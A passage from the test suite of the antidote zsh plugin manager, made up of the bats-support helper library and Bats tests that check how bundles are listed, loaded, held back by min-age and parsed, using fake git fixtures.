causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose. 3. Public License Fallback. Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose. 4. Limitations and Disclaimers. a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document. b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law. c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work. d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work. For more information, please see mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/load.bash000066400000000000000000000002451523541175400244610ustar00rootroot00000000000000source "$(dirname "${BASH_SOURCE[0]}")/src/output.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/error.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/lang.bash" mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/src/000077500000000000000000000000001523541175400234715ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/src/error.bash000066400000000000000000000020241523541175400254570ustar00rootroot00000000000000# # bats-support - Supporting library for Bats test helpers # # Written in 2016 by Zoltan Tombol # # To the extent possible under law, the author(s) have dedicated all # copyright and related and neighboring rights to this software to the # public domain worldwide. This software is distributed without any # warranty. # # You should have received a copy of the CC0 Public Domain Dedication # along with this software. If not, see # . # # # error.bash # ---------- # # Functions implementing error reporting. Used by public helper # functions or test suits directly. # # Fail and display a message. When no parameters are specified, the # message is read from the standard input. Other functions use this to # report failure. # # Globals: # none # Arguments: # $@ - [=STDIN] message # Returns: # 1 - always # Inputs: # STDIN - [=$@] message # Outputs: # STDERR - message fail() { (( $# == 0 )) && batslib_err || batslib_err "$@" return 1 } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/src/lang.bash000066400000000000000000000037571523541175400252650ustar00rootroot00000000000000# # bats-util - Various auxiliary functions for Bats # # Written in 2016 by Zoltan Tombol # # To the extent possible under law, the author(s) have dedicated all # copyright and related and neighboring rights to this software to the # public domain worldwide. This software is distributed without any # warranty. # # You should have received a copy of the CC0 Public Domain Dedication # along with this software. If not, see # . # # # lang.bash # --------- # # Bash language and execution related functions. Used by public helper # functions. # # Check whether the calling function was called from a given function. # # By default, direct invocation is checked. The function succeeds if the # calling function was called directly from the given function. In other # words, if the given function is the next element on the call stack. # # When `--indirect' is specified, indirect invocation is checked. The # function succeeds if the calling function was called from the given # function with any number of intermediate calls. In other words, if the # given function can be found somewhere on the call stack. # # Direct invocation is a form of indirect invocation with zero # intermediate calls. # # Globals: # FUNCNAME # Options: # -i, --indirect - check indirect invocation # Arguments: # $1 - calling function's name # Returns: # 0 - current function was called from the given function # 1 - otherwise batslib_is_caller() { local -i is_mode_direct=1 # Handle options. while (( $# > 0 )); do case "$1" in -i|--indirect) is_mode_direct=0; shift ;; --) shift; break ;; *) break ;; esac done # Arguments. local -r func="$1" # Check call stack. if (( is_mode_direct )); then [[ $func == "${FUNCNAME[2]}" ]] && return 0 else local -i depth for (( depth=2; depth<${#FUNCNAME[@]}; ++depth )); do [[ $func == "${FUNCNAME[$depth]}" ]] && return 0 done fi return 1 } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/src/output.bash000066400000000000000000000147141523541175400256770ustar00rootroot00000000000000# # bats-support - Supporting library for Bats test helpers # # Written in 2016 by Zoltan Tombol # # To the extent possible under law, the author(s) have dedicated all # copyright and related and neighboring rights to this software to the # public domain worldwide. This software is distributed without any # warranty. # # You should have received a copy of the CC0 Public Domain Dedication # along with this software. If not, see # . # # # output.bash # ----------- # # Private functions implementing output formatting. Used by public # helper functions. # # Print a message to the standard error. When no parameters are # specified, the message is read from the standard input. # # Globals: # none # Arguments: # $@ - [=STDIN] message # Returns: # none # Inputs: # STDIN - [=$@] message # Outputs: # STDERR - message batslib_err() { { if (( $# > 0 )); then echo "$@" else cat - fi } >&2 } # Count the number of lines in the given string. # # TODO(ztombol): Fix tests and remove this note after #93 is resolved! # NOTE: Due to a bug in Bats, `batslib_count_lines "$output"' does not # give the same result as `${#lines[@]}' when the output contains # empty lines. # See PR #93 (https://github.com/sstephenson/bats/pull/93). # # Globals: # none # Arguments: # $1 - string # Returns: # none # Outputs: # STDOUT - number of lines batslib_count_lines() { local -i n_lines=0 local line while IFS='' read -r line || [[ -n $line ]]; do (( ++n_lines )) done < <(printf '%s' "$1") echo "$n_lines" } # Determine whether all strings are single-line. # # Globals: # none # Arguments: # $@ - strings # Returns: # 0 - all strings are single-line # 1 - otherwise batslib_is_single_line() { for string in "$@"; do (( $(batslib_count_lines "$string") > 1 )) && return 1 done return 0 } # Determine the length of the longest key that has a single-line value. # # This function is useful in determining the correct width of the key # column in two-column format when some keys may have multi-line values # and thus should be excluded. # # Globals: # none # Arguments: # $odd - key # $even - value of the previous key # Returns: # none # Outputs: # STDOUT - length of longest key batslib_get_max_single_line_key_width() { local -i max_len=-1 while (( $# != 0 )); do local -i key_len="${#1}" batslib_is_single_line "$2" && (( key_len > max_len )) && max_len="$key_len" shift 2 done echo "$max_len" } # Print key-value pairs in two-column format. # # Keys are displayed in the first column, and their corresponding values # in the second. To evenly line up values, the key column is fixed-width # and its width is specified with the first parameter (possibly computed # using `batslib_get_max_single_line_key_width'). # # Globals: # none # Arguments: # $1 - width of key column # $even - key # $odd - value of the previous key # Returns: # none # Outputs: # STDOUT - formatted key-value pairs batslib_print_kv_single() { local -ir col_width="$1"; shift while (( $# != 0 )); do printf '%-*s : %s\n' "$col_width" "$1" "$2" shift 2 done } # Print key-value pairs in multi-line format. # # The key is displayed first with the number of lines of its # corresponding value in parenthesis. Next, starting on the next line, # the value is displayed. For better readability, it is recommended to # indent values using `batslib_prefix'. # # Globals: # none # Arguments: # $odd - key # $even - value of the previous key # Returns: # none # Outputs: # STDOUT - formatted key-value pairs batslib_print_kv_multi() { while (( $# != 0 )); do printf '%s (%d lines):\n' "$1" "$( batslib_count_lines "$2" )" printf '%s\n' "$2" shift 2 done } # Print all key-value pairs in either two-column or multi-line format # depending on whether all values are single-line. # # If all values are single-line, print all pairs in two-column format # with the specified key column width (identical to using # `batslib_print_kv_single'). # # Otherwise, print all pairs in multi-line format after indenting values # with two spaces for readability (identical to using `batslib_prefix' # and `batslib_print_kv_multi') # # Globals: # none # Arguments: # $1 - width of key column (for two-column format) # $even - key # $odd - value of the previous key # Returns: # none # Outputs: # STDOUT - formatted key-value pairs batslib_print_kv_single_or_multi() { local -ir width="$1"; shift local -a pairs=( "$@" ) local -a values=() local -i i for (( i=1; i < ${#pairs[@]}; i+=2 )); do values+=( "${pairs[$i]}" ) done if batslib_is_single_line "${values[@]}"; then batslib_print_kv_single "$width" "${pairs[@]}" else local -i i for (( i=1; i < ${#pairs[@]}; i+=2 )); do pairs[$i]="$( batslib_prefix < <(printf '%s' "${pairs[$i]}") )" done batslib_print_kv_multi "${pairs[@]}" fi } # Prefix each line read from the standard input with the given string. # # Globals: # none # Arguments: # $1 - [= ] prefix string # Returns: # none # Inputs: # STDIN - lines # Outputs: # STDOUT - prefixed lines batslib_prefix() { local -r prefix="${1:- }" local line while IFS='' read -r line || [[ -n $line ]]; do printf '%s%s\n' "$prefix" "$line" done } # Mark select lines of the text read from the standard input by # overwriting their beginning with the given string. # # Usually the input is indented by a few spaces using `batslib_prefix' # first. # # Globals: # none # Arguments: # $1 - marking string # $@ - indices (zero-based) of lines to mark # Returns: # none # Inputs: # STDIN - lines # Outputs: # STDOUT - lines after marking batslib_mark() { local -r symbol="$1"; shift # Sort line numbers. set -- $( sort -nu <<< "$( printf '%d\n' "$@" )" ) local line local -i idx=0 while IFS='' read -r line || [[ -n $line ]]; do if (( ${1:--1} == idx )); then printf '%s\n' "${symbol}${line:${#symbol}}" shift else printf '%s\n' "$line" fi (( ++idx )) done } # Enclose the input text in header and footer lines. # # The header contains the given string as title. The output is preceded # and followed by an additional newline to make it stand out more. # # Globals: # none # Arguments: # $1 - title # Returns: # none # Inputs: # STDIN - text # Outputs: # STDOUT - decorated text batslib_decorate() { echo echo "-- $1 --" cat - echo '--' echo } mattmc3-antidote-9bb69ab/tests/bats/list.bats000066400000000000000000000067521523541175400213310ustar00rootroot00000000000000#!/usr/bin/env bats # antidote list tests. # The full 6-bundle listings are the command's output contract, so # whole-output compares are intentional. load helpers/common BARBAZ_SHA=1aa9550512f5606c5c23b11f5a9ad660d6c10fb4 setup() { antidote_common_setup antidote_test_home antidote_clone_fixtures } @test "list reports when there are no bundles" { rm -rf "$AHOME" && mkdir -p "$AHOME" run antidote list assert_output "antidote: list: no bundles found in '\$HOME/.cache/antidote'" } @test "list default shows path and url, tab separated" { run antidote list expect "$AHOME/fakegitsite.com/bar/baz https://fakegitsite.com/bar/baz $AHOME/fakegitsite.com/foo/bar https://fakegitsite.com/foo/bar $AHOME/fakegitsite.com/foo/baz https://fakegitsite.com/foo/baz $AHOME/fakegitsite.com/foo/qux git@fakegitsite.com:foo/qux $AHOME/fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/getantidote/zsh-defer $AHOME/fakegitsite.com/ohmy/ohmy https://fakegitsite.com/ohmy/ohmy" } @test "list --url shows urls only" { run antidote list --url expect "git@fakegitsite.com:foo/qux https://fakegitsite.com/bar/baz https://fakegitsite.com/foo/bar https://fakegitsite.com/foo/baz https://fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/ohmy/ohmy" run antidote list -u [ "${#lines[@]}" -eq 6 ] } @test "list --dirs shows directories only" { run antidote list --dirs expect "$AHOME/fakegitsite.com/bar/baz $AHOME/fakegitsite.com/foo/bar $AHOME/fakegitsite.com/foo/baz $AHOME/fakegitsite.com/foo/qux $AHOME/fakegitsite.com/getantidote/zsh-defer $AHOME/fakegitsite.com/ohmy/ohmy" run antidote list -d [ "${#lines[@]}" -eq 6 ] } @test "list --long shows repo, path, url, and sha" { run antidote list --long assert_line --index 0 "Repo: bar/baz" assert_line --index 1 'Path: $HOME/.cache/antidote/fakegitsite.com/bar/baz' assert_line --index 2 "URL: https://fakegitsite.com/bar/baz" assert_line --index 3 "SHA: $BARBAZ_SHA" } @test "list --long shows full SSH URLs and no Pinned line when unpinned" { run antidote list --long assert_line "Repo: git@fakegitsite.com:foo/qux" refute_output --partial "Pinned:" } @test "list --jsonl emits one valid json object per bundle" { run antidote list --jsonl [ "${#lines[@]}" -eq 6 ] assert_line "{\"url\":\"https://fakegitsite.com/bar/baz\",\"repo\":\"bar/baz\",\"path\":\"$AHOME/fakegitsite.com/bar/baz\",\"sha\":\"$BARBAZ_SHA\"}" refute_output --partial '"pin"' } @test "list --jsonl parses with jq" { output=$(antidote list --jsonl | jq -r '.repo' | sort | paste -sd, -) assert_output "bar/baz,foo/bar,foo/baz,getantidote/zsh-defer,git@fakegitsite.com:foo/qux,ohmy/ohmy" } # Quotes and backslashes in values must be JSON-escaped so every line # stays valid JSON. @test "list --jsonl escapes quotes and backslashes" { git -C "$AHOME/fakegitsite.com/foo/bar" config remote.origin.url 'https://fakegitsite.com/foo/"bar\baz"' run antidote list --jsonl assert_output --partial '"url":"https://fakegitsite.com/foo/\"bar\\baz\""' } # Control characters (\b, \f, other C0) must be JSON-escaped too, or # the line is not valid JSON. ESC covers a \u code containing a hex # letter, which has to come out lowercase. @test "list --jsonl escapes control characters" { git -C "$AHOME/fakegitsite.com/foo/bar" config remote.origin.url \ "$(printf 'https://fakegitsite.com/foo/b\bar\fbaz\001qux\033end')" run antidote list --jsonl assert_output --partial '/foo/b\bar\fbaz\u0001qux\u001bend' antidote list --jsonl | jq -e . >/dev/null } mattmc3-antidote-9bb69ab/tests/bats/load.bats000066400000000000000000000214471523541175400212730ustar00rootroot00000000000000#!/usr/bin/env bats # antidote load tests. load runs in the parent shell # (functions/antidote-load), so these use sessions. load helpers/common setup() { antidote_common_setup; } @test "load sources every bundle in the plugins file" { fixture_session <<<'antidote load $ZDOTDIR/.zplugins_fake_load' expected=$(cat <<'EOF' sourcing bar.plugin.zsh from foo/bar... sourcing qux.plugin.zsh from foo/qux... sourcing bar.plugin.zsh from foo/bar... sourcing lib/lib1.zsh from ohmy/ohmy... sourcing lib/lib2.zsh from ohmy/ohmy... sourcing lib/lib3.zsh from ohmy/ohmy... sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing zsh-defer.plugin.zsh from getantidote/zsh-defer... sourcing plugins/magic-enter/magic-enter.plugin.zsh from ohmy/ohmy... sourcing custom/themes/pretty.zsh-theme from ohmy/ohmy... EOF ) expect "$expected" } @test "load writes the golden static file" { fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null cat $ZDOTDIR/.zplugins_fake_load.zsh | subenv EOS expect "$(cat "$PRJDIR/tests/testdata/.zplugins_fake_load.zsh")" } @test "load fails when bundle and static file are the same" { SESSION_PRELUDE="cp \$ZDOTDIR/.zplugins_fake_load \$ZDOTDIR/.zplugins.txt zstyle ':antidote:bundle' file \$ZDOTDIR/.zplugins.txt zstyle ':antidote:static' file \$ZDOTDIR/.zplugins.txt" fixture_session <<<'antidote load 2>&1 | subenv ZDOTDIR' assert_output "antidote: bundle file and static file are the same '\$ZDOTDIR/.zplugins.txt'." } @test "load honors bundle and static file zstyles" { SESSION_PRELUDE="cp \$ZDOTDIR/.zplugins_fake_load \$ZDOTDIR/.zplugins.txt zstyle ':antidote:bundle' file \$ZDOTDIR/.zplugins.txt zstyle ':antidote:static' file \$ZDOTDIR/.zplugins.static.zsh" fixture_session <<'EOS' antidote load >/dev/null; print "load exit: $?" print "static lines: $(wc -l <$ZDOTDIR/.zplugins.static.zsh)" EOS assert_line --index 0 "load exit: 0" assert_line --index 1 --regexp 'static lines: +[1-9][0-9]*$' } # The checkfile forces a one-time rebundle. It lands under ANTIDOTE_HOME. @test "load writes the checkfile under ANTIDOTE_HOME" { fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null 2>&1 [[ -e $ANTIDOTE_HOME/.antidote.load ]] && echo "checkfile present" || echo "checkfile absent" EOS assert_line "checkfile present" } # antidote-home resolves ANTIDOTE_HOME in the parent shell (no # subprocess). Guard against that resolver drifting from the real # subprocess resolution: across every OS branch, parent antidote-home # must equal what the antidote.zsh subprocess reports. @test "antidote-home matches the subprocess across OS branches" { SESSION_PRELUDE='unset ANTIDOTE_HOME' fixture_session <<'EOS' for os in darwin21.3.0 msys foobar; do zstyle ':antidote:test:env' OSTYPE $os [[ $os == msys ]] && zstyle ':antidote:test:env' LOCALAPPDATA $HOME/AppData parent=$(antidote home) sub=$(antidote-zsh home) [[ $parent == $sub ]] && echo "$os: match" || echo "$os: MISMATCH parent=$parent sub=$sub" done EOS assert_line "darwin21.3.0: match" assert_line "msys: match" assert_line "foobar: match" } # Only the subprocess sources the config file, so a config-file # ':antidote:home' has to reach the parent resolver too. @test "antidote-home honors a config-file home" { SESSION_PRELUDE='unset ANTIDOTE_HOME export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "zstyle \":antidote:home\" dir \$HOME/custom-home" >$ANTIDOTE_CONFIG antidote-setup' run_session <<'EOS' parent=$(antidote home) sub=$(antidote-zsh home) [[ $parent == $sub ]] && echo "match: ${parent:t}" || echo "MISMATCH parent=$parent sub=$sub" EOS assert_output "match: custom-home" } # A broken ANTIDOTE_ZSH makes any subprocess call fail, so answering # here proves the config file was read in this shell. @test "antidote-home reads a config-file home without a subprocess" { SESSION_PRELUDE='unset ANTIDOTE_HOME export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "zstyle \":antidote:home\" dir \$HOME/custom-home" >$ANTIDOTE_CONFIG antidote-setup echo "exit 3" >$HOME/broken.zsh ANTIDOTE_ZSH=$HOME/broken.zsh' run_session <<<'echo "${$(antidote home):t}"' assert_success assert_output "custom-home" } # The autoload route runs antidote-setup after the user's zstyles, so # the config file must not overwrite what this shell already set. @test "a zstyle set before setup beats the config file" { SESSION_PRELUDE='unset ANTIDOTE_HOME export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -rl -- "zstyle \":antidote:home\" dir \$HOME/from-config" \ "zstyle \":antidote:bundle\" path-style short" >$ANTIDOTE_CONFIG zstyle ":antidote:home" dir $HOME/from-shell antidote-setup' run_session <<'EOS' echo "home: ${$(antidote home):t}" echo "path-style: $(zstyle -L :antidote:bundle path-style)" EOS assert_line "home: from-shell" assert_line "path-style: zstyle :antidote:bundle path-style short" } # update deletes the checkfile from the real ANTIDOTE_HOME, so load has # to write it there or the forced rebundle after an update never fires. @test "load writes the checkfile to a config-file home" { SESSION_PRELUDE='unset ANTIDOTE_HOME export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "zstyle \":antidote:home\" dir \$HOME/custom-home" >$ANTIDOTE_CONFIG antidote-setup print -r -- "$ZDOTDIR/custom/lib" >$ZDOTDIR/.zplugins_localdir.txt' run_session <<'EOS' antidote load $ZDOTDIR/.zplugins_localdir.txt >/dev/null 2>&1 [[ -e $HOME/custom-home/.antidote.load ]] && echo "checkfile in real home" || echo "checkfile elsewhere" EOS assert_line "checkfile in real home" } @test "load fails on a missing bundle file" { fixture_session <<<'antidote load /no/such/file.txt 2>&1' assert_output "antidote: bundle file not found '/no/such/file.txt'." } @test "load fails with exit 2 when the static file cannot be created" { SESSION_PRELUDE='zstyle ":antidote:load:checkfile" disabled true touch $ZDOTDIR/.zplugins_err.txt $HOME/blocker' fixture_session <<<'antidote load $ZDOTDIR/.zplugins_err.txt $HOME/blocker/static.zsh 2>/dev/null' assert_failure 2 } @test "load fails with exit 2 when the static file fails to source" { SESSION_PRELUDE='zstyle ":antidote:load:checkfile" disabled true touch -t 202001010000 $ZDOTDIR/.zplugins_err.txt print "false" > $ZDOTDIR/.zplugins_err.zsh' fixture_session <<<'antidote load $ZDOTDIR/.zplugins_err.txt $ZDOTDIR/.zplugins_err.zsh' assert_failure 2 } # tmux panes after an update: every shell sees a stale static file and # rebuilds at once. Real child shells, not subshells, since zsh keeps $$ # at the parent pid in a subshell and they would share one temp. @test "concurrent loads all rebuild and source the static file" { SESSION_PRELUDE='antidote load $ZDOTDIR/.zplugins_fake_load &>/dev/null touch $ZDOTDIR/.zplugins_fake_load' fixture_session <<'EOS' for i in 1 2 3 4; do zsh -f -c "source \$T_PRJDIR/antidote.zsh antidote load \$ZDOTDIR/.zplugins_fake_load >\$ZDOTDIR/out.$i 2>&1 print \"load $i: \$? \$(grep -c '^sourcing' \$ZDOTDIR/out.$i)\"" & done wait temps=($ZDOTDIR/..zplugins_fake_load.zsh.new.*(N)) print "temps: $#temps" EOS assert_line "load 1: 0 12" assert_line "load 2: 0 12" assert_line "load 3: 0 12" assert_line "load 4: 0 12" assert_line "temps: 0" } # A shell killed mid-rebuild orphans its temp. The next rebuild reaps # the old ones in the background, sparing any young enough to belong to # a live rebuild. Poll: the reaper is detached, so wait cannot see it. @test "rebuild sweeps orphaned temps but spares fresh ones" { SESSION_PRELUDE='antidote load $ZDOTDIR/.zplugins_fake_load &>/dev/null print orphan > $ZDOTDIR/..zplugins_fake_load.zsh.new.99998 touch -t 202001010000 $ZDOTDIR/..zplugins_fake_load.zsh.new.99998 print inflight > $ZDOTDIR/..zplugins_fake_load.zsh.new.99999 touch $ZDOTDIR/.zplugins_fake_load' fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load &>/dev/null for i in {1..40}; do temps=($ZDOTDIR/..zplugins_fake_load.zsh.new.*(N)) (( $#temps == 1 )) && break sleep 0.1 done print "temps: ${(j: :)${temps[@]:t}}" EOS assert_line "temps: ..zplugins_fake_load.zsh.new.99999" } @test "failed regeneration preserves the last known-good static file" { SESSION_PRELUDE='print "bad:bundle:value" > $ZDOTDIR/.zplugins_bad.txt print "print last-known-good" > $ZDOTDIR/.zplugins_bad.zsh' run_session <<'EOS' antidote load $ZDOTDIR/.zplugins_bad.txt $ZDOTDIR/.zplugins_bad.zsh 2>/dev/null echo "exit: $?" grep -q last-known-good $ZDOTDIR/.zplugins_bad.zsh && echo "static preserved" || echo "static clobbered" temps=($ZDOTDIR/..zplugins_bad.zsh.new.*(N)) echo "temps: $#temps" [[ -e $ANTIDOTE_HOME/.antidote.load ]] && echo "checkfile present" || echo "checkfile absent" EOS assert_line "last-known-good" assert_line "exit: 1" assert_line "static preserved" assert_line "temps: 0" assert_line "checkfile absent" } mattmc3-antidote-9bb69ab/tests/bats/min_age.bats000066400000000000000000000153671523541175400217570ustar00rootroot00000000000000#!/usr/bin/env bats # antidote min-age tests # # The dino/saur fixture has three commits, dated relative to fixture # generation: initial (~900 days), stable (~400 days), and latest # (~1 day). A min-age of 200 always qualifies stable but never latest. load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" SAURDIR="$AHOME/fakegitsite.com/dino/saur" } # Newest commit at least $1 days old, per the remote's branch. qualifying_sha() { tgit -C "$SAURDIR" rev-list --before="$1 days ago" -1 origin/main } @test "clone with min-age lands on the newest commit old enough" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$(qualifying_sha 200)" refute_output "$(git -C "$SAURDIR" rev-parse origin/main)" } @test "clone without min-age lands on the latest commit" { run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$(git -C "$SAURDIR" rev-parse origin/main)" } # A brand new plugin has nothing old enough to qualify. Install it at # the latest commit rather than refusing to clone it. @test "clone keeps the latest commit when nothing is old enough" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 5000" run antidote bundle 'dino/saur kind:clone' assert_success assert_output --partial "# antidote: dino/saur: no commits older than 5000 days, using latest" run git -C "$SAURDIR" rev-parse HEAD assert_output "$(git -C "$SAURDIR" rev-parse origin/main)" } @test "update advances only as far as min-age allows" { run antidote bundle 'dino/saur kind:clone' assert_success tgit_deepen "$SAURDIR" local stable stable=$(qualifying_sha 200) tgit -C "$SAURDIR" reset --quiet --hard "$(git -C "$SAURDIR" rev-list --max-parents=0 HEAD)" ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote update assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$stable" } @test "update skips a bundle when no commit is old enough" { run antidote bundle 'dino/saur kind:clone' assert_success local before before=$(git -C "$SAURDIR" rev-parse HEAD) ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 5000" run antidote update assert_success assert_output --partial "antidote: dino/saur: no commits older than 5000 days, skipping update" run git -C "$SAURDIR" rev-parse HEAD assert_output "$before" } @test "dry run reports the min-age commit without moving HEAD" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote bundle 'dino/saur kind:clone' assert_success # the min-age clone already unshallowed, so the history is here local stable before stable=$(qualifying_sha 200) tgit -C "$SAURDIR" reset --quiet --hard "$(git -C "$SAURDIR" rev-list --max-parents=0 HEAD)" before=$(git -C "$SAURDIR" rev-parse HEAD) run antidote update --dry-run assert_output --partial "antidote: update available: dino/saur ${before:0:7} -> ${stable:0:7}" run git -C "$SAURDIR" rev-parse HEAD assert_output "$before" } # A pin fixes the commit outright, so min-age has nothing to decide. @test "a pinned bundle ignores min-age" { local latest run antidote bundle 'dino/saur kind:clone' assert_success latest=$(git -C "$SAURDIR" rev-parse origin/main) rm -rf "$SAURDIR" ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote bundle "dino/saur kind:clone pin:$latest" assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$latest" } # A branch: clone still gets held back, measured on that branch's tip. @test "min-age applies to a branch clone" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote bundle 'dino/saur kind:clone branch:main' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$(qualifying_sha 200)" } # min-age only moves a bundle at clone time. An existing clone stays put # until the next update, which is where the age cap gets enforced. @test "adding min-age later does not rewind an existing clone" { run antidote bundle 'dino/saur kind:clone' assert_success local latest latest=$(git -C "$SAURDIR" rev-parse HEAD) ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200" run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$latest" } # min-age has to search history for a commit old enough, so it wins over # a shallow hold and deepens the clone anyway. @test "min-age deepens a bundle held shallow" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age 200 zstyle ':antidote:bundle:dino/saur' shallow yes" run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse --is-shallow-repository assert_output "false" run git -C "$SAURDIR" rev-parse HEAD assert_output "$(qualifying_sha 200)" } @test "min-age 0 opts a bundle out of a pattern style" { ZSTYLES+=" zstyle ':antidote:bundle:*' min-age 200 zstyle ':antidote:bundle:dino/saur' min-age 0" run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$(git -C "$SAURDIR" rev-parse origin/main)" } # Fail-safe: an empty value must not error out mid-clone. @test "an empty min-age is treated as no delay" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age ''" run antidote bundle 'dino/saur kind:clone' assert_success run git -C "$SAURDIR" rev-parse HEAD assert_output "$(git -C "$SAURDIR" rev-parse origin/main)" } @test "a min-age that is not a whole number of days is an error" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age soon" run antidote bundle 'dino/saur kind:clone' assert_failure assert_output --partial "antidote: error: min-age requires a whole number of days, got 'soon'" refute [ -d "$SAURDIR" ] } # Update aggregates per-worker status, so a bad value fails the command # as well as reporting, and still leaves the bundle alone. @test "a bad min-age during update fails without touching the bundle" { run antidote bundle 'dino/saur kind:clone' assert_success local before before=$(git -C "$SAURDIR" rev-parse HEAD) ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age soon" run antidote update assert_failure assert_output --partial "antidote: error: min-age requires a whole number of days, got 'soon'" run git -C "$SAURDIR" rev-parse HEAD assert_output "$before" } @test "a negative min-age is an error" { ZSTYLES+=" zstyle ':antidote:bundle:dino/saur' min-age -30" run antidote bundle 'dino/saur kind:clone' assert_failure assert_output --partial "antidote: error: min-age requires a whole number of days, got '-30'" } mattmc3-antidote-9bb69ab/tests/bats/parser.bats000066400000000000000000000251351523541175400216460ustar00rootroot00000000000000#!/usr/bin/env bats # antidote bundle_parser tests. # The bundle parser takes the antidote bundle format and populates a # _parsed_bundles[i,key] matrix with metadata in # _parsed_bundles[__count__], parsed once. load helpers/common setup() { antidote_common_setup; } # Each session defines the bundle_parser shorthand, plus val, which # pairs input and parsed value so assertion failures name the exact # case: " [] -> ". parser_session() { SESSION_PRELUDE='function bundle_parser() { antidote __private__ bundle_parser_serialize "$@"; } function val() { print -r -- "$1 [$2] -> $(print -r -- "$1" | bundle_parser | bundle_val "$2")" }' \ run_session } @test "parser handles empty and comment-only input" { parser_session <<'EOS' eval "$(echo | bundle_parser)"; print "empty count: $_parsed_bundles[__count__]" eval "$(echo '# This is a full line comment' | bundle_parser)"; print "comment count: $_parsed_bundles[__count__]" EOS assert_line "empty count: 0" assert_line "comment count: 0" } @test "parser matrix for a repo" { parser_session <<'EOS' eval "$(echo 'foo/bar' | bundle_parser)" print "count: $_parsed_bundles[__count__]" print "bundle: $_parsed_bundles[1,__bundle__]" print "type: $_parsed_bundles[1,__type__]" EOS assert_line "count: 1" assert_line "bundle: foo/bar" assert_line "type: repo" } @test "parser matrix for multiple bundles" { parser_session <<'EOS' eval "$(printf 'foo/bar\nbar/baz kind:defer\n' | bundle_parser)" print "count: $_parsed_bundles[__count__]" print "bundle 1: $_parsed_bundles[1,__bundle__]" print "bundle 2: $_parsed_bundles[2,__bundle__]" print "kind 2: $_parsed_bundles[2,kind]" EOS assert_line "count: 2" assert_line "bundle 1: foo/bar" assert_line "bundle 2: 